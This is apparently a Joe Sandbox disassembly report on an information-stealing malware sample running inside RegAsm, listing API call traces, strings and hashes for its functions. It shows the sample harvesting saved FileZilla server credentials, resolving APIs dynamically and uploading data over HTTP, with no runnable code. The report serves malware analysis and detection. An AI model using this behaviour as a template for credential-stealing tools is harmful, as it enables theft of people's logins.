Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,004217A0), ref: 00407646
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,00000000), ref: 00407688
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020, : ), ref: 0040769A
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,00000000), ref: 004076CF
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,004217A8), ref: 004076E0
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,00000000), ref: 00407713
Part of subcall function 00407610: lstrcat.KERNEL32(3381B020,004217AC), ref: 0040772D
Part of subcall function 00407610: task.LIBCPMTD ref: 0040773B

lstrcat.KERNEL32(?,01103C30), ref: 00407E4B
lstrcat.KERNEL32(?,011025D8), ref: 00407E5E
lstrlenA.KERNEL32(3381B020), ref: 00407E6B
lstrlenA.KERNEL32(3381B020), ref: 00407E7B

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction ID: 1e9b08135f7dcdfaa8f2c2dd520ea7fbbb4c73797e410f6fed26cf7179196423
Opcode Fuzzy Hash: 621d9c5e2dfe729ca80918e13204eea7872d0b4ff733d4fc84d748c8ac2d2b72
Instruction Fuzzy Hash: 8B3264B2C00615ABCB25EBA0DC89DDE773DAB48704F444A9DF60962090EE79E7C5CF64

Function 00410090 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

strtok_s.MSVCRT ref: 0041015B
GetProcessHeap.KERNEL32(00000000,000F423F,00420DA6,00420DA3,00420DA2,00420D9F), ref: 004101A2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004101A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 004101C5
lstrlenA.KERNEL32(00000000), ref: 004101D3

Part of subcall function 00418380: malloc.MSVCRT ref: 00418388
Part of subcall function 00418380: strncpy.MSVCRT ref: 004183A3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0041020F
lstrlenA.KERNEL32(00000000), ref: 0041021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00410259
lstrlenA.KERNEL32(00000000), ref: 00410267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 004102A3
lstrlenA.KERNEL32(00000000), ref: 004102B5
lstrlenA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 00410342
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041035A
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 00410372
lstrlenA.KERNEL32(00000000,?,?,00000000), ref: 0041038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 004103A2
lstrcat.KERNEL32(?,profile: null), ref: 004103B1
lstrcat.KERNEL32(?,url: ), ref: 004103C0
lstrcat.KERNEL32(?,00000000), ref: 004103D3
lstrcat.KERNEL32(?,0042161C), ref: 004103E2
lstrcat.KERNEL32(?,00000000), ref: 004103F5
lstrcat.KERNEL32(?,00421620), ref: 00410404
lstrcat.KERNEL32(?,login: ), ref: 00410413
lstrcat.KERNEL32(?,00000000), ref: 00410426
lstrcat.KERNEL32(?,0042162C), ref: 00410435
lstrcat.KERNEL32(?,password: ), ref: 00410444
lstrcat.KERNEL32(?,00000000), ref: 00410457
lstrcat.KERNEL32(?,0042163C), ref: 00410466
lstrcat.KERNEL32(?,00421640), ref: 00410475
strtok_s.MSVCRT ref: 004104B9
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00420D9E), ref: 004104CE
memset.MSVCRT ref: 0041051D

Strings

password: , xrefs: 0041043B
<User>, xrefs: 00410250
browser: FileZilla, xrefs: 00410399
<Pass encoding="base64">, xrefs: 0041029A
login: , xrefs: 0041040A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004100E4
<Port>, xrefs: 00410206
<Host>, xrefs: 004101BC
profile: null, xrefs: 004103A8
url: , xrefs: 004103B7

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 0d4503c38b707c35e177df0b8eb20f4a0d262089455e6d62357b9fe43875858e
Instruction ID: f2c119995f801d95b771d97b8d40ebd85ad32e2919b54f786426441ea9706e1a
Opcode Fuzzy Hash: 0d4503c38b707c35e177df0b8eb20f4a0d262089455e6d62357b9fe43875858e
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,010EF238), ref: 004192B1
GetProcAddress.KERNEL32(75900000,010EF2B0), ref: 004192CA
GetProcAddress.KERNEL32(75900000,010EF3A0), ref: 004192E2
GetProcAddress.KERNEL32(75900000,010EF340), ref: 004192FA
GetProcAddress.KERNEL32(75900000,010EF2C8), ref: 00419313
GetProcAddress.KERNEL32(75900000,010F2DC8), ref: 0041932B
GetProcAddress.KERNEL32(75900000,010F2748), ref: 00419343
GetProcAddress.KERNEL32(75900000,010F2828), ref: 0041935C
GetProcAddress.KERNEL32(75900000,010EF2E0), ref: 00419374
GetProcAddress.KERNEL32(75900000,010EF358), ref: 0041938C
GetProcAddress.KERNEL32(75900000,010EF3D0), ref: 004193A5
GetProcAddress.KERNEL32(75900000,010EF568), ref: 004193BD
GetProcAddress.KERNEL32(75900000,010F26E8), ref: 004193D5
GetProcAddress.KERNEL32(75900000,010EF550), ref: 004193EE
GetProcAddress.KERNEL32(75900000,010EF520), ref: 00419406
GetProcAddress.KERNEL32(75900000,010F2948), ref: 0041941E
GetProcAddress.KERNEL32(75900000,010EF4C0), ref: 00419437
GetProcAddress.KERNEL32(75900000,010EF4A8), ref: 0041944F
GetProcAddress.KERNEL32(75900000,010F27A8), ref: 00419467
GetProcAddress.KERNEL32(75900000,010EF4F0), ref: 00419480
GetProcAddress.KERNEL32(75900000,010F2708), ref: 00419498
LoadLibraryA.KERNEL32(010EF4D8,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(010EF508,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(010EF538,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(010ECA68,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(010FA6A8,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75070000,010FA678), ref: 00419512
GetProcAddress.KERNEL32(75FD0000,010FA5A0), ref: 00419533
GetProcAddress.KERNEL32(75FD0000,010FA6D8), ref: 0041954B
GetProcAddress.KERNEL32(75A50000,010FA828), ref: 0041956D
GetProcAddress.KERNEL32(74E50000,010F2808), ref: 0041958E
GetProcAddress.KERNEL32(76E80000,010F2F08), ref: 004195AF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,01103C70), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,01103D70,?,011033C8,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,01103C90,00000000,?,01101978,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

--, xrefs: 004052D0
", xrefs: 00405756
", xrefs: 004054D2
", xrefs: 00405614
------, xrefs: 00405407
------, xrefs: 00405549
------, xrefs: 0040568B
------, xrefs: 004052E7

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,01103C70), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01103C20,00000000,?,01101978,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,01103D70,?,011033C8,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

------, xrefs: 00405AE6
------, xrefs: 00405C5B
XA, xrefs: 004060CA
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405E66
", xrefs: 00405D25
------, xrefs: 00405D9C

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1406981993-2501203334
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,010FA9C8,010FA978), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,010FAA58,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,011018B8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
